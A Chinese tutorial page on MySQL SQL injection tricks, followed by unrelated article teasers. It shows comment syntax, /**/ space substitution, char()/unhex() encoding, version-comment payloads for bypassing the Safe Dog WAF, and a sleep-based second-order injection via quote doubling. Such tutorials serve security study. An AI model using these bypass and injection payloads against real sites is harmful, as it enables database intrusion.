sql注入时易被忽略的语法技巧以及二次注入
那些容易被忽略、容易被弄错的地方
sql注入时的技巧
=========================================================================
* 如果单引号被转义,在当前数据库采用GBK编码的前提下,可以考虑双字节注入。 * 注释符的正确用法
“-- ”才是mysql中的注释,注意后面有个空格
mysql> select user() from (select 1)x where '1'='1';-- '
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec) “#”注释,后面接不接空格无所谓
mysql> select user() from (select 1) x where '1'='1';#'
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec) * 用/**/替代空格
mysql> select/**/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec) * sql语句中字符串转义
- mysql> select char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 );
+-------------------------------------------------------------------+
| char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 ) |
+-------------------------------------------------------------------+
| /tmp/f_user.txt |
+-------------------------------------------------------------------+
1 row in set (0.00 sec) - mysql> select concat(char(32),char(47),char(116),char(109),char(112),char(47),char(102),char(95),char(117),char(115),char(101),char(114),char(46),char(116),char(120),char(116) ) ;
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| concat(char(32),char(47),char(116),char(109),char(112),char(47),char(102),char(95),char(117),char(115),char(101),char(114),char(46),char(116),char(120),char(116) ) |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| /tmp/f_user.txt |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec) # utf-8
- mysql> select unhex('E6B8B8E5AEA2');
+-----------------------+
| unhex('E6B8B8E5AEA2') |
+-----------------------+
| 游客 |
+-----------------------+
1 row in set (0.00 sec) * 数字和字符的比较,类似php中的弱类型
- mysql> select '10asfasfdeasdfasdf'=10;
+-------------------------+
| '10asfasfdeasdfasdf'=10 |
+-------------------------+
| 1 |
+-------------------------+ - mysql> select '0esfsadf'=0;
+--------------+
| '0esfsadf'=0 |
+--------------+
| 1 |
+--------------+ * 绕过安全狗
** 正则绕过
- select 1/*!50000union/*!*//*!50000select/*!*/2;
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+ - mysql> select/*/#\*/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec) * 多个单引号相连时,最外层两个孤独单引号配对闭合,中间的连续偶数个单引号中每两个一组换算成一个。
- mysql> select '123''';
+------+
| 123' |
+------+
| 123' |
+------+
1 row in set (0.00 sec) - mysql> select '123''''';
+-------+
| 123'' |
+-------+
| 123'' |
+-------+ - mysql> select user from mysql.user where user='nickname'' and password=' or sleep(0.1);#'
Empty set (1.00 sec)
此特点可以引发“二次注入”,比如,注册用户时输入昵称{nickname'},被转义为{nickname\'}但在插入到数据库后被还原,
那么在需要将昵称作为查询条件的页面中就存在二次注入,另一个条件字段的值为{ or 0=sleep(1);#}即可触发。
sql注入时易被忽略的语法技巧以及二次注入的更多相关文章
- 【sql注入】简单实现二次注入
[sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...
- sql手工注入时的探测技巧汇总
工具的灵活性肯定比不上人,在手工探测的基础上再去自定义工具,才是正道. sql注入时手工探测技巧 =================================================== ...
- sql SELECT时的with(nolock)选项说明
I used to see my senior developers use WITH (NOLOCK) when querying in SQL Server and wonder why they ...
- 转:sql SELECT时的with(nolock)选项说明
I used to see my senior developers use WITH (NOLOCK) when querying in SQL Server and wonder why they ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入
0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是 ...
- Sql 注入详解:宽字节注入+二次注入
sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...
- Python连接MySQL数据库执行sql语句时的参数问题
由于工作需要,今天写了一个Python小脚本,其中需要连接MySQL数据库,在执行sql命令时需要传递参数,结果出问题了.在网上查了一下,发现有以下几种方式传递参数: 一.直接把sql查询语句完整写入 ...
- ASPNETCOREAPI 跨域处理 SQL 语句拼接 多条件分页查询 ASPNET CORE 核心 通过依赖注入(注入服务)
ASPNETCOREAPI 跨域处理 AspNetCoreApi 跨域处理 如果咱们有处理过MV5 跨域问题这个问题也不大. (1)为什么会出现跨域问题: 浏览器安全限制了前端脚本跨站点的访问资源, ...
- sql查询时增加自动编号和分页
查询时加序号 a:没有主键的情形: ,) as iid,* into #tmp from TableName Select * from #tmp Drop table #tmp b:有主键的情形: ...
随机推荐
- 阿里云yum源安装
1.先清理掉yum.repos.d下面的所有repo文件 [root@localhost yum.repos.d]# rm -rf * 2.下载repo文件 wget http://mirror ...
- [原创]下拉框控件react-native-modal-dropdown更新历程
前言 不知不觉从今年9月发布第一版控件到现在已经快3个月了 过去不断从开源社区索取,一直一直想着有机会一定要回报
- heredoc技术
Heredoc技术,在正规的PHP文档中和技术书籍中一般没有详细讲述,只是提到了这是一种Perl风格的字符串输出技术.但是现在的一些论坛程序,和部分文章系统,都巧妙的使用heredoc技术,来部分的实 ...
- [No0000AE]在 Visual Studio 中调试 XAML 设计时异常
在 Visual Studio 中进行 WPF, UWP, Silverlight 开发时,经常会遇到 XAML 设计器由于遭遇异常而无法正常显示设计器视图的情况.很多时候由于最终生成的项目在运行时并 ...
- android文件的写入与读取---简单的文本读写context.openFileInput() context.openFileOutput()
最终效果图,点击save会保存到文件中,点击show会从文件中读取出内容并显示. main.xml <?xml version="1.0" encoding=" ...
- 图片下方出现多3px的原因及解决方法
产生原因:主要是因为图片的垂直对齐方式vertical-align引发的,默认值是baseline,默认为此值时图片下方就会多出3px. 解决方案: 1.将图片的垂直对齐方式vertical-alig ...
- PIC12F508/505/509/510/506/519/526/527单片机破解芯片解密方法!
IC芯片解密PIC12F508/505/509/510/506/519/526/527单片机破解 单片机芯片解密型号: PIC12F508解密 | PIC12F505解密 | PIC12F506解密 ...
- [LeetCode] Reconstruct Original Digits from English 从英文中重建数字
Given a non-empty string containing an out-of-order English representation of digits 0-9, output the ...
- 支持同步滚动的RichTextbox控件
using System.Windows.Forms; public class SynchronizedScrollRichTextBox : System.Windows.Forms.RichTe ...
- 【Git】关于VSCode 内置Git问题
VSCode的内置git是自动关联本机git的, 所以当提交代码时,VSCode提示[警告:请配置git用户名和账户]时, 只需要在git bash 端配置git config --gobal use ...